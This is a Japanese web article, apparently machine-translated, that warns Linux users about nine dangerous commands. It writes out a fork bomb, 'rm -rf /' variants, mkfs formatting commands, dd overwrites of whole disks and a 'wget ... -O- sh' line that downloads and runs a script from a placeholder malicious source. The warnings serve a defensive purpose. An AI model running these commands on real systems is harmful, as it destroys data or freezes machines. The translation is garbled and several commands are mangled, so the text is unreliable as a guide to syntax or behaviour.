9使用する前に注意が必要なLinuxコマンド         

Linuxのshell /terminalコマンドは非常に強力で、単純なコマンドでもフォルダ、ファイル、またはパスフォルダが削除される可能性があります。

場合によっては、Linuxから直接コマンドを実行するように要求されず、あらゆる種類のデータが失われることがあります。

一般的に言って、新しいLinuxユーザーはWeb上でこれらのコマンドを実行することをお勧めしますが、もちろん、このコードを書いたことがある人はそうは思わない。

ここで私はあなたがそれらを避けるのを助けるためにシステムに有害ないくつかのLinuxコードを集めました。覚えておいてください:これらのコードは非常に危険であり、さらに危険になるように変更することさえ可能です。

注意すべき点がいくつかあります。コマンドによっては、Ubuntuでsudoというプレフィックスが付いている場合にのみ有害なものがあります。他のLinuxディストリビューションは、rootコマンドとして使用すると有害です。


1. Linux Fork Bombコマンド


:(){::&};: Fork Bombと呼ばれ、サービス拒否攻撃です。攻撃しているLinuxシステム。 :(){::&};:はbash関数です。それが実行される限り、彼はシステムがフリーズするまでそれを繰り返します。

この問題を解決するには、システムを再起動するしかありません。そのため、Linuxインタフェースでこのコマンドを実行するときは、必ず注意を払ってください。


2. Mvフォルダ/Dev /Nullコマンド


mvフォルダ/dev /nullも危険なコマンドです。 Dev /nullまたはnullデバイスは、このデバイスファイルに書き込まれたすべてのデータを削除するデバイスファイルですが、操作プロンプトは正常に書き込まれた書き込み操作です。これは我々がよくビットバックまたはブラックホールと呼ぶものです。


3. Rm -Rfコマンド


Linuxシステムでは、rm -rfコマンドを使用してフォルダーとその内容を素早く削除できます。使い方がわからなければ泣くだけです。

m-rfコマンドの最も一般的な組み合わせと選択をリストします。

rmコマンド:Linuxシステムからファイルを削除します。

rm -fコマンド:プロンプトを表示せずにファイルを削除します。フォルダの内容を削除するための

rm -rコマンドの読み取り専用ファイル

rm -dコマンド:ディレクトリが空でない場合は、操作は実行されません。

rm -rf /command:ルートディレクトリ内のすべてのコンテンツとサブフォルダ(書き込み保護ファイルを含む)を強制的に削除します。

rm -rf *コマンド:現在のディレクトリ(現在の作業ディレクトリ)およびwordフォルダ内のすべてのコンテンツを強制的に削除します。

rm -rf。command:現在のフォルダディレクトリ/サブディレクトリを強制的に削除します。内容のすべて。 rm -rと同じです。[^。] *

rm -r。[^。] *コマンド:削除プロンプトでファイルとフォルダを削除します。


4. Mkfsコマンド


mkfsの役割が分からないのであれば、それは危険なコマンドでもありますmkfsの後に書かれたコマンドは空白のLinuxファイルシステムでフォーマットされます。代替案です。

以下に、ハードディスクのフォーマットに管理者権限が必要なコマンドを示します。

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat <​​br>

mkfs.cramfsも上記のコードで実行できます。同じことですが、ソースの権限を管理する必要はありません。


5. Tar Bomb


tarコマンドは、複数のファイルを.tar形式のファイル(アーカイブファイル)にするために使用されます。テープアーカイブ(Tar)爆弾は彼が作成することができます。

圧縮すると、このアーカイブファイルは、新しいディレクトリではなく現在のディレクトリにある何万もの同じ名前のファイルを生成します。

tarファイルを受け取ったら、定期的に新しい保護ディレクトリを作成し、解凍する前にこのディレクトリに受け入れたtarファイルを置くと、tar爆弾の犠牲になることを回避できます。


6. Ddコマンド


Dd?コマンドは、ハードディスクのパーティションをコピーして変更するために使用します。あなたが間違った場所を使うならば、それは非常に危険です。

次のddコマンドがリストされています。

dd if = /dev /hda of = /dev /hdb

dd if = /dev /hda of = /dev /sdb < Br>

dd if =何か= /dev /hda

dd if =何か= = /dev /sda

次のコマンドは、マスターハードディスク全体をクリアします。 = /dev /zero of = /dev /had


7.シェルスクリプトコード


ダウンロードして実行できるシェルスクリプトファイルを用意してください。スクリプトに悪意のある、または危険なコードが含まれている可能性があります。コマンド形式は次のようになります。wget http://some_malicious_source -O- sh。 shの狭いスクリプト時にWgetはスクリプトをダウンロードしますか?


8.悪意のあるソースコード


多分誰かがあなたに彼をコンパイルするためのソースコードを教えてくれるでしょう。コードは通常のコードかもしれませんが、大規模なソースコードになりすまして悪意のあるコードがある場合は、システムが攻撃されています。回避するには?信頼できるソースのソースコードのみを受け入れてコンパイルしてください。


9.解凍爆弾


あなたは圧縮ファイルを受け取ったので、この小さいファイルを解凍するよう求められます。 KBへ実際、この小さな圧縮ファイルには高度に圧縮されたデータが含まれています。

ファイルが解凍されている限り、何百GBものデータが抽出されますが、この時点で特大のデータがハードディスクをいっぱいにしてダウンタイムを引き起こすのであれば、チャンスは大きいです。回避するには?それでも古いことわざ、心配しないで、どんな文書を受け取るつもりなのか、信頼できるソーステキストを受け取ってください。

この記事へのリンク:http://www.evget.com/article/2014/11/4/21781。 HTML

Copyright © Windowsの知識 All Rights Reserved